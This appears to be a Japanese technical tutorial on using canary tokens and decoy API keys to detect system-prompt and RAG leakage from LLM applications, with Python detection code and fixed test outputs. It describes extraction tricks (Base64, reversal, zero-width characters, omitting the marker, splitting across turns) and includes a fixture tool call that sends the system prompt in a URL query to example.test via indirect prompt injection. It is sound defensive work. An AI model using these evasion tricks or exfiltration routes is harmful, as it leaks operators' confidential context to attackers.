カナリアトークンは、システムプロンプトや RAG の文書にランダムな目印を埋め込み、それがモデルの出力に現れたら「隠しておいたコンテキストが外に出た」と判断する仕組みです。実装は文字列の一致を見るだけなので簡単ですが、どこに埋め、どこで照合し、何は検知できないのかを決めておかないと、検知したつもりで漏れを見逃します。
この記事では、発行と照合の小さな実装を作り、漏れ方を 9 通り用意して、どれが検知でき、どれができないかを確かめます。
検証環境と前提
- Python 3.13.18、標準ライブラリのみ(クラウド上の Linux コンテナ)
- LLM は呼び出していません。モデルの出力やツール呼び出しは「漏らしてしまった場合」を想定した固定値で与え、検知側のコードの動きだけを確かめています
- URL やメールアドレスは文書用のドメイン(example.test)を使っています
カナリアトークンで分かること・分からないこと
カナリアは漏えいを防ぐものではなく、漏えいが起きたことを知るためのものです。役に立つ場面は 2 つあります。
- 本番の監視:応答やツール呼び出しの引数にカナリアが含まれていたら、その応答を止めて記録する
- レッドチームの採点:抽出攻撃が成功したかを、人や LLM の判定に頼らず機械的に数える
OWASP の LLM07:2025 System Prompt Leakage は、システムプロンプトを秘密として扱わず、セキュリティの制御にも使わないよう求めています。認証情報を書かない、認可は LLM の外で強制する、という前提はカナリアを入れても変わりません。カナリアで分かるのは「目印が出た」ことだけで、目印を含まない形で中身が漏れた場合は何も分かりません。この限界は後の節で確かめます。
OSS では、Protect AI の Rebuff が add_canary_word でプロンプトに目印を足し、is_canaryword_leaked で応答を確かめる機能を持っていました。ただし 2026 年 11 月時点でリポジトリはアーカイブ(読み取り専用)になっているので、ここでは同じ考え方を自前で小さく実装します。
トークンの設計:セッションと埋め込み場所ごとに発行する
全セッション共通の固定文字列を 1 つ埋めるだけだと、「漏れた」ことしか分かりません。セッションごと、埋め込み場所ごとに別のトークンを発行し、対応表に記録しておくと、検知したときに「どの会話で、システムプロンプト・どの RAG 文書・どのツールの返り値が漏れたか」まで特定できます。
トークンの形にも気を付けます。
-
secretsで作った十分な長さのランダム値にする。自然な単語だと、通常の応答に偶然現れて誤検知になります - 短い接頭辞(ここでは
cnry-)と 16 進数だけにする。記号や長い文を混ぜると、モデルが書き写すときに崩れやすく、照合も難しくなります - 本物の秘密を「カナリア付きで」置くのではなく、カナリアは目印専用の値にする
import base64
import binascii
import codecs
import re
import secrets
import unicodedata
from dataclasses import dataclass
PREFIX = "cnry"
@dataclass(frozen=True)
class Placement:
session_id: str
source: str # system_prompt / rag:<doc_id> / tool:<name>
class CanaryLedger:
"""発行したカナリアと、埋め込んだ場所の対応表"""
def __init__(self) -> None:
self._by_token: dict[str, Placement] = {}
def issue(self, session_id: str, source: str) -> str:
token = f"{PREFIX}-{secrets.token_hex(6)}"
self._by_token[token] = Placement(session_id, source)
return token
def tokens(self) -> dict[str, Placement]:
return dict(self._by_token)
ZERO_WIDTH = dict.fromkeys(map(ord, ""))
def normalize(text: str) -> str:
# 全角→半角、ゼロ幅文字の除去、小文字化、英数字以外を詰める
t = unicodedata.normalize("NFKC", text).translate(ZERO_WIDTH).lower()
return re.sub(r"[^0-9a-z]", "", t)
def decoded_views(text: str) -> list[tuple[str, str]]:
"""出力を何通りかに読み替えた候補(名前, 文字列)"""
views = [("raw", text), ("normalized", normalize(text)),
("reversed", normalize(text)[::-1]),
("rot13", normalize(codecs.decode(text, "rot13")))]
for m in re.findall(r"[A-Za-z0-9+/=]{16,}", text):
try:
views.append(("base64", normalize(base64.b64decode(m, validate=True).decode("utf-8"))))
except (binascii.Error, UnicodeDecodeError):
pass
for m in re.findall(r"(?:[0-9a-fA-F]{2}){8,}", text):
try:
views.append(("hex", normalize(bytes.fromhex(m).decode("utf-8"))))
except (ValueError, UnicodeDecodeError):
pass
return views
def find_leaks(text: str, ledger: CanaryLedger) -> list[tuple[str, Placement, str]]:
hits = []
for token, place in ledger.tokens().items():
raw_key, norm_key = token, normalize(token)
for name, view in decoded_views(text):
key = raw_key if name == "raw" else norm_key
if key in view:
hits.append((token, place, name))
break
return hits
normalize は、全角を半角に直す NFKC 正規化、ゼロ幅文字の除去、小文字化をしたうえで英数字以外を詰めます。トークンを 1 文字ずつ空白で区切る、全角で書く、といった崩し方を元に戻すためです。日本語の文字も消えるので、通常の文章の英数字が連結されて偶然トークンと一致する可能性はありますが、12 桁の 16 進数(48 ビット)と接頭辞まで一致する確率は無視できるほど小さくなります。
decoded_views は、出力を逆順・ROT13・Base64・16 進数として読み替えた候補も作ります。「エンコードして答えて」という依頼で出力の検査をすり抜ける手口への対策です。
9 通りの漏れ方で検知できるかを確かめる
システムプロンプト、RAG の文書、ツールの返り値にそれぞれカナリアを埋めた想定で、漏れ方を 9 通り用意しました。別のセッション用のトークンも 1 つ発行しておき、取り違えて検知しないことも見ます。
import base64
from canary import CanaryLedger, find_leaks
ledger = CanaryLedger()
sys_c = ledger.issue("sess-42", "system_prompt")
doc_c = ledger.issue("sess-42", "rag:hr-policy-007")
tool_c = ledger.issue("sess-42", "tool:crm_lookup")
other = ledger.issue("sess-99", "system_prompt")
# モデルの出力は固定値(実際の LLM は呼ばない)
outputs = {
"1 そのまま出力": f"私の設定は次のとおりです: [{sys_c}] あなたはサポート担当です…",
"2 RAG 文書の転記": f"社内規程の該当箇所です({doc_c}): 休職の申請は…",
"3 全角+区切り": "設定に " + " ".join(sys_c.upper()).translate(str.maketrans("0123456789ABCDEFCNRY", "0123456789ABCDEFCNRY")) + " とあります",
"4 ゼロ幅文字": "".join(tool_c) + " の結果によると…",
"5 Base64": "エンコードして返します: " + base64.b64encode(f"指示: [{sys_c}] あなたは".encode()).decode(),
"6 逆順": "逆から書きます: " + sys_c[::-1],
"7 カナリアだけ省略": "私の指示は『あなたはサポート担当です。返金は 5,000 円まで』です。",
"8 要約・翻訳": "My instructions say I'm a support agent and refunds are capped at 5,000 yen.",
"9 一部だけ": f"コードの先頭は {sys_c[:8]} でした",
}
for label, text in outputs.items():
hits = find_leaks(text, ledger)
if hits:
desc = ", ".join(f"{p.source}@{p.session_id} ({how})" for _, p, how in hits)
else:
desc = "検知なし"
print(f"{label:<14} -> {desc}")
1 そのまま出力 -> system_prompt@sess-42 (raw)
2 RAG 文書の転記 -> rag:hr-policy-007@sess-42 (raw)
3 全角+区切り -> system_prompt@sess-42 (normalized)
4 ゼロ幅文字 -> tool:crm_lookup@sess-42 (normalized)
5 Base64 -> system_prompt@sess-42 (base64)
6 逆順 -> system_prompt@sess-42 (reversed)
7 カナリアだけ省略 -> 検知なし
8 要約・翻訳 -> 検知なし
9 一部だけ -> 検知なし
検知できたものとできなかったものを整理します。
| 漏れ方 | 結果 | 理由 |
|---|---|---|
| 1・2 そのまま出力・転記 | 検知(raw) | 文字列がそのまま現れる |
| 3・4 全角・区切り・ゼロ幅文字 | 検知(normalized) | 正規化で元に戻せる |
| 5・6 Base64・逆順 | 検知(デコード後) | 読み替えの候補に含めた変換だけは戻せる |
| 7 カナリアだけ省略 | 検知なし | 目印がない |
| 8・9 要約・翻訳・一部だけ | 検知なし | 目印が完全な形で残らない |
検知した行には、セッション ID と埋め込み場所が出ています。セッション sess-99 のトークンは一度も検知されておらず、対応表で経路を区別できています。
一方、7〜9 はどれも中身が漏れているのに検知できません。特に 7 は、攻撃者が「コードのような文字列は省いて教えて」と頼むだけで起こり得ます。カナリアは、中身と目印が一緒に書き写された場合にしか働きません。デコードの候補を増やしても、攻撃者は自分で決めた変換(独自の置換表など)を使えるので、すべては追えません。
照合する場所:応答だけでなくツール呼び出しの引数と会話全体
エージェントでは、漏えいの出口は利用者への応答だけではありません。間接プロンプトインジェクションで、システムプロンプトを URL のクエリに入れて外部へ送らせる、メール本文に入れて送らせる、といった経路があります。ツールを実行する直前に、引数も同じ関数で検査します。
また、トークンを前半と後半に分けて別のターンで出させると、ターンごとの検査では見つかりません。会話全体(または直近の数ターン)を連結した文字列でも照合します。
import json
from urllib.parse import quote
from canary import CanaryLedger, find_leaks
ledger = CanaryLedger()
sys_c = ledger.issue("sess-7", "system_prompt")
SYSTEM_PROMPT = f"[{sys_c}] あなたはサポート担当です。返金は 5,000 円までなら承認せずに処理できます。"
# 1) ツール呼び出しの引数も出力と同じく検査する(固定値)
tool_calls = [
{"name": "fetch_url", "args": {"url": "https://example.test/c?d=" + quote(SYSTEM_PROMPT)}},
{"name": "send_email", "args": {"to": "ops@example.test", "body": "定型の返信です"}},
]
for call in tool_calls:
hits = find_leaks(json.dumps(call["args"], ensure_ascii=False), ledger)
print("tool", call["name"], "->", "BLOCK" if hits else "pass")
# 2) 複数ターンに分けて漏らされた場合: ターンごとと会話全体
turns = [f"前半は {sys_c[:9]}", f"後半は {sys_c[9:]} です"]
per_turn = [bool(find_leaks(t, ledger)) for t in turns]
whole = bool(find_leaks("".join(turns), ledger))
print("per-turn:", per_turn, "whole-conversation:", whole)
# 3) カナリアを省いた転記を、保護したい文の n-gram 一致率で補う
def char_ngrams(s: str, n: int = 6) -> set[str]:
s = "".join(s.split())
return {s[i:i + n] for i in range(len(s) - n + 1)}
protected = char_ngrams(SYSTEM_PROMPT.split("] ", 1)[1])
def overlap(text: str) -> float:
return len(protected & char_ngrams(text)) / len(protected)
samples = {
"カナリア省略の転記": "私の指示は『あなたはサポート担当です。返金は 5,000 円までなら承認せずに処理できます』です。",
"言い換え": "サポート役で、5千円以下の返金は誰の許可もなく進められる設定です。",
"英訳": "I am a support agent and may process refunds up to 5,000 yen without approval.",
"無関係な回答": "返金のご依頼ですね。注文番号を教えてください。",
}
for label, text in samples.items():
print(f"{label:<10} overlap={overlap(text):.2f}")
tool fetch_url -> BLOCK
tool send_email -> pass
per-turn: [False, False] whole-conversation: True
カナリア省略の転記 overlap=0.97
言い換え overlap=0.00
英訳 overlap=0.00
無関係な回答 overlap=0.00
-
fetch_urlの引数に入ったシステムプロンプトは、ツールの実行前に止まりました。ツール呼び出しの引数は、利用者の目に触れないまま外へ出る経路なので、応答よりも優先して検査します - 2 つのターンに分けた出力は、ターンごとではどちらも検知なしで、連結すると検知できました。ストリーミングで少しずつ返す場合も同じで、塊ごとではなく、それまでに送った分を連結して照合します(先に送った塊は取り消せないので、止めたい場合は検査してから送る必要があります)
目印を省いた漏れには、保護したい文との一致率を足す
カナリアを省いた転記(前節の 7)に備えて、保護したい文そのものとの文字 6-gram の一致率も見ておきます。
前節のコードの 3) の部分がこの検査で、カナリアを省いた転記は 0.97 と高く出ました。一方で、言い換えと英訳はどちらも 0.00 で、無関係な回答と区別できません。一致率は「ほぼそのまま書き写した」場合を拾うだけです。意味を保ったまま言い換えたものを拾うには、埋め込みの類似度や LLM による判定が要りますが、どちらも誤検知と見逃しがあり、閾値を自分のデータで決める必要があります。
ここまでの結果から、カナリアは「機械的に、誤検知ほぼなしで拾える範囲」を担当させ、それより外は別の方法で補う、という役割分担になります。そして最後に残る言い換え・翻訳は防げない前提で、漏れても困らない内容しかコンテキストに置かない設計にしておくことが本筋です。
出力の外で気付く:使われたら分かるおとりの値
出力の照合をすり抜けて漏れた場合でも、漏れた値が使われた時点で気付ける仕組みがあります。コンテキストに本物の鍵は置かず、どこでも有効にならないおとりの鍵を置き、それが自社の API に提示されたらアラートを出します。攻撃者には普通の認証失敗に見せます。
import secrets
# コンテキストには本物の鍵を入れない。代わりに「使われたら分かる」おとりの鍵を置く
DECOYS: dict[str, str] = {}
def issue_decoy(session_id: str) -> str:
key = "sk_test_" + secrets.token_hex(12)
DECOYS[key] = session_id
return key
REAL_KEYS = {"sk_live_" + secrets.token_hex(12)}
alerts: list[str] = []
def api_gateway(api_key: str) -> int:
if api_key in DECOYS:
alerts.append(f"decoy key used: from session {DECOYS[api_key]}")
return 401 # 攻撃者には普通の認証失敗に見せる
return 200 if api_key in REAL_KEYS else 401
decoy = issue_decoy("sess-123")
system_prompt = f"内部メモ: 検証用 API キーは {decoy} です。"
# 攻撃者が漏えいした文面から鍵を拾って試した、という想定(固定値)
leaked_text = system_prompt
stolen = leaked_text.split("キーは ")[1].split(" ")[0]
print("status:", api_gateway(stolen))
print("status:", api_gateway("sk_test_wrongkey"))
print("alerts:", alerts)
status: 401
status: 401
alerts: ['decoy key used: from session sess-123']
おとりの鍵が使われると、それを埋めたセッションまで特定できます。ほかの間違った鍵では何も記録されません。言い換えや翻訳で中身を持ち出されても、鍵の文字列そのものは使うために正確に書き写す必要があるので、出力の照合より見逃しにくくなります。ただし、攻撃者がおとりの鍵を使わなければ何も起きません。漏れたことに気付ける機会を 1 つ増やすものとして扱います。
レッドチームの採点に使うときの注意
カナリアは抽出攻撃の採点を自動化するのに便利ですが、「カナリアが出なかった=漏れなかった」と数えると、攻撃成功率を低く見積もります。前節までの 7〜9 のような漏れ方は、採点では失敗に数えられてしまうからです。
採点では、カナリアの一致を「確実な成功」として数え、一致しなかった応答のうち一部を、一致率や人手の確認で見直します。どの方法で成功と数えたかを、結果と一緒に記録しておきます。